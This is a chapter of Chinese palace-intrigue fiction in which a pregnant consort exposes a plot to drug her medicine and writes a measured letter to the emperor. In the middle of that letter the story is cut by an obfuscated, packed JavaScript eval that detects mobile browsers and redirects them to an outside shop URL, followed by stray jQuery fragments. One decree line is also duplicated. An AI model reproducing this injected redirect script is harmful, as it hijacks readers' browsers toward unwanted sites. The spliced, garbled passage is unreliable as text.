四月将尽，紫禁城的夜风已带了初夏的温软。延禧宫内，玉兰落尽，新荷初绽，池水映着月色，泛起碎银般的光。云嬛坐在廊下绣架前，指尖穿针引线，为承稷的小衣缀上最后一颗珍珠扣——那是皇帝昨夜亲手从袖口解下的东珠，说是“给小阿哥压惊”。


    流萤捧来温热的安胎汤药，低声道：“温太医说，再过半月，胎动会更频繁，娘娘要多歇息，莫再熬夜抄经了。”


    云嬛接过药盏，轻啜一口，苦中回甘。“快抄完了。”她望向案头那卷摊开的《金刚经》，“九十九卷已毕，只剩最后一卷。待孩子落地那日，我便焚香供佛，以全心愿。”


    话音未落，槿汐匆匆自角门进来，神色凝重，手中攥着一张折叠整齐的纸条。她行至云嬛身侧，俯身低语：“娘娘，刚从小厨房截下的。煎药的小太监顺子，今日午间偷偷溜去西六宫后巷，与一名眼生的宫人交接此物。奴婢已命人将他扣在柴房，未惊动他人。”


    云嬛搁下药盏，接过纸条展开——上面只寥寥数字：“戌时三刻，换药包于槐树下，事成赏银百两。”


    字迹娟秀却刻意歪斜，似女子手笔，却透着一股熟悉的味道。


    “这字……”流朱目光落在纸条上，带了些气愤，“像是甄玉环练字时的笔锋。她去年曾借阅《千字文》临帖，我见过她写‘槐’字，末笔总带个小钩。”


    云嬛眸光微冷。


    甄玉环，她竟有胆子掺和进来。


    “她原不该掺和进来。”云嬛轻声叹道，“或许，是华妃许了她什么——比如，一个孩子，或一个位分。”


    “又或者，”流萤道，“华妃告诉她，只要除掉娘娘腹中龙凤胎，您失宠了，皇帝便会回头看看她。”倒也有点道理，毕竟她们眉目间有几分相似。


    云嬛沉吟片刻，忽而抬眸：“顺子可招了？”


    “尚未用刑，只吓唬几句，便抖如筛糠。”槿汐道，“他说，是甄常在身边的贴身太监李保，三日前给他一包‘助眠香料’，让他混入安胎药中。顺子起初不敢，李保便说：‘不过是让荣嫔睡得沉些，好养胎罢了。’可顺子昨日偷尝了一点残渣，半夜心悸难安，今早又见温太医反复查验药渣，才知事情不对。”


    云嬛指尖轻轻摩挲药盏边缘，眼中寒光渐起。“助眠香料？虽量少不致死，却可致胎动紊乱，甚至早产。”


    她顿了顿，声音转柔：“既如此，便请甄常在来坐坐吧。就说……本宫新得了江南送来的碧螺春，想与她共品。”


    戌时二刻，延禧宫暖阁。


    烛火摇曳，茶香氤氲。甄玉环一身素色宫装，发髻简单，只簪一支银钗，低眉顺眼地跪坐于下首。她双手微颤，目光不敢直视云嬛。


    “甄妹妹不必拘礼。”云嬛笑意温婉，亲自执壶斟茶，“你我同在深宫，本该互相照拂。听闻你近日咳疾未愈，可请太医瞧过了？”


    “谢娘娘挂怀……已、已服过药了。”甄玉环面色并不自然，声音细若蚊蚋。


    “那便好。”云嬛将茶盏推至她面前，“这茶，是我特意为你留的。你尝尝，可还合口味？”


    甄玉环迟疑片刻，终是端起茶盏，指尖却抖得几乎洒出茶水。她浅啜一口，脸色忽地煞白。


    “怎么？”云嬛关切道，“可是茶凉了？”


    “不……不是……”甄玉环猛地放下茶盏，扑通跪地，“娘娘饶命！臣妾……臣妾是被逼的！华妃说，若我不帮她，就把父亲的事报给皇上，到那时娘娘和我具都无法保全啊！”


    云嬛静静看着她，眼中无怒无悲。“所以你就答应，在我的安胎药里动手脚？”


    甄玉环泪如雨下：“李保说……只是让您昏睡几日，不会伤及胎儿……我……我真的不知那是毒！”


    “不知？”云嬛冷笑，“那你可知，若我昨夜服下那药，此刻腹中龙凤早已胎死腹中？而你，将成为弑杀皇嗣的共犯，株连九族！”


    甄玉环瘫软在地，泣不成声。


    此时，殿外传来脚步声。温太医携两名侍卫押着李保与顺子入内。李保面如死灰，顺子则不断磕头求饶。


    “启禀娘娘，”温太医呈上一只青瓷小瓶，“此乃从李保贴身夹层搜出之物，经试毒，确为‘迷魂散’与‘断肠草’混合之粉，微量即可致胎动逆乱。”


    云嬛接过小瓶，轻轻旋开盖子，嗅了嗅，随即递给崔槿汐：“你闻闻，可有酸味？”


    崔槿汐一闻，点头：“正是，他们比从前下毒的手段更加婉转了些，也更难察觉。”


    云嬛将瓶子重重搁于案上，声音清冷如冰：“人赃并获，证据确凿。即刻将李保、顺子交慎刑司严审。至于甄常在……”她看向地上瑟瑟发抖的女子，语气稍缓，“念你受胁迫，且未酿大祸，就在这偏殿陪陪我，待陛下圣裁。”


    当夜，消息飞报养心殿。


    皇帝震怒，当即下旨：李保凌迟处死，顺子杖毙；甄玉环褫夺位分，贬为庶人，幽禁浣衣局。


    皇帝震怒，当即下旨：李保凌迟处死，顺子杖毙；甄玉环褫夺位分，贬为庶人，幽禁浣衣局。


    然而，在这雷霆之怒之前，云嬛早已遣槿汐持令牌夜叩养心殿侧门，求见陛下。彼时皇帝尚在批阅西北军务折子，听闻是延禧宫来人，立刻搁笔宣入。


    云嬛并未亲至——她深知孕期不宜夜行，更不以“哭诉”之姿示弱。她只命槿汐呈上一封亲笔信笺，素绢淡墨，字迹清雅如常，却字字含情、句句藏锋。


    皇帝展开信纸，只见其上写道：


    陛下圣鉴：


    臣妾本不敢扰陛下宵旰之劳，然今夜事出非常，恐有损龙胎，不得不冒昧陈情。


    今日酉时，小厨房煎药太监顺子神色异常，被流萤察觉，搜出一包异香药粉。经温太医辨认，乃迷魂散混断肠草灰，虽量微，然若入腹，恐致胎动逆乱、早产难保。臣妾惊惧之余，细查其源，竟牵出甄常在身边太监李保。


    甄氏跪地泣诉，言华妃娘娘三日前召她入翊坤宫偏殿，以她父亲相胁，逼其“助一臂之力”，称“不过令荣嫔昏睡两日，好让华妃代为主持礼宴”。甄氏年少怯懦，不敢违逆，遂授意李保行事。


    臣妾闻之，心如刀绞。非为己身之危，实忧腹中一双骨肉——他们尚未睁眼见这人间，便已遭人算计至此。


    然臣妾亦知，华妃娘娘母族虽败，其兄年羹尧尚握川陕兵权，朝中党羽未尽。陛下正


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953235|193091||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    筹边防整军之策，若此时大动干戈，恐引前朝动荡，反伤国本。


    故臣妾斗胆恳请：此事止于李保、顺子二人，甄氏从轻发落。至于翊坤宫……臣妾信陛下自有明断，亦信天理昭昭，善恶终有报。


    龙凤双胎安好，臣妾亦无恙。陛下勿忧。


    唯愿陛下夜深批折时，多饮热茶，莫忘添衣。


    ——臣妾云嬛谨启


    皇帝读罢，久久不语。烛火映照下，他眼中怒意未消，却多了一分复杂与动容。


    他缓缓将信纸折好，收入袖中，低声道：“甄氏哪里是年少无知，分明是用心歹毒，倒是嬛嬛，她竟连朕的难处都想到了……不哭不闹，不争不吵，只一句‘陛下勿忧’，便胜过千言万语。”


    十七爷恰在此时入内禀事，见皇帝神色，试探道：“可是延禧宫出了事？”


    皇帝点头，将信递予他看。十七爷阅毕，亦叹：“荣嫔此信，柔中带刚，既告了状，又替皇上留了余地。她若真要华妃倒台，大可直指其名、哭求严惩。可她偏不——她把刀递到皇上手里，却说‘您慢慢用’。”


    皇帝苦笑：“她这是在告诉朕——她护得住孩子，也体谅朕的江山。可越是这样，朕越觉得……亏欠她。”


    十七爷沉默片刻，低声道：“或许，正因她不争，才最值得皇兄如此信赖。臣弟祝贺皇兄得此佳人。”


    皇帝沉吟良久，终是提笔拟旨，如前所述，只惩直接涉案之人，对华妃仅以“失察纵仆”为由，削其宫人、闭门思过，未动其位分。


    但他另加一道密谕：命兵部暗查年羹尧近月军饷调拨，凡有异常，即刻密奏；同时，调镶黄旗副都统驻守西安，名为协防，实为制衡。


    旨意发出后，皇帝独自立于窗前，望着延禧宫方向的灯火，轻声自语：“云嬛啊云嬛……你不要凤印，不要高位，可你给朕的，比皇后更像一个妻子，更像一个国母。”


    而此刻的延禧宫，云嬛正倚在软榻上，手抚小腹。胎动轻柔，似在回应她的安宁。


    流萤轻声道：“娘娘，您那封信……真不怕皇上觉得您太过冷静，不够委屈？”


    云嬛微微一笑：“男人最怕的，不是女人哭，而是女人在他最无力时，依然稳稳站着。我若哭着要他杀华妃，他只会烦。可我若说‘我护好了孩子，你安心治国’——他才会真正心疼我，也真正记住华妃的毒。”


    窗外，夜风拂过新荷，清香满院。


    翌日清晨，云嬛立于延禧宫门前，望着东方初升的朝阳。


    流萤轻声道：“娘娘，您觉得甄常在说的华妃逼迫的事情是真的吗？”


    云嬛微微一笑：“华妃失势，必寻替罪羊。甄玉环家世弱、心志软，正是最好操控的棋子。我故意让温太医放出‘药方微调’的消息，又让顺子露出破绽——她们果然咬钩。”


    “可您为何不直接揭穿华妃？”


    “因为，”云嬛抚着隆起的腹部，目光深远，“我要她亲眼看着，自己每一步棋，如何被我一一拆解。我要她明白——在这紫禁城里，能护住龙凤双胎的，从来不是皇帝的宠爱，而是我自己的手段。”


    远处，钟声悠悠，新的一天开始了。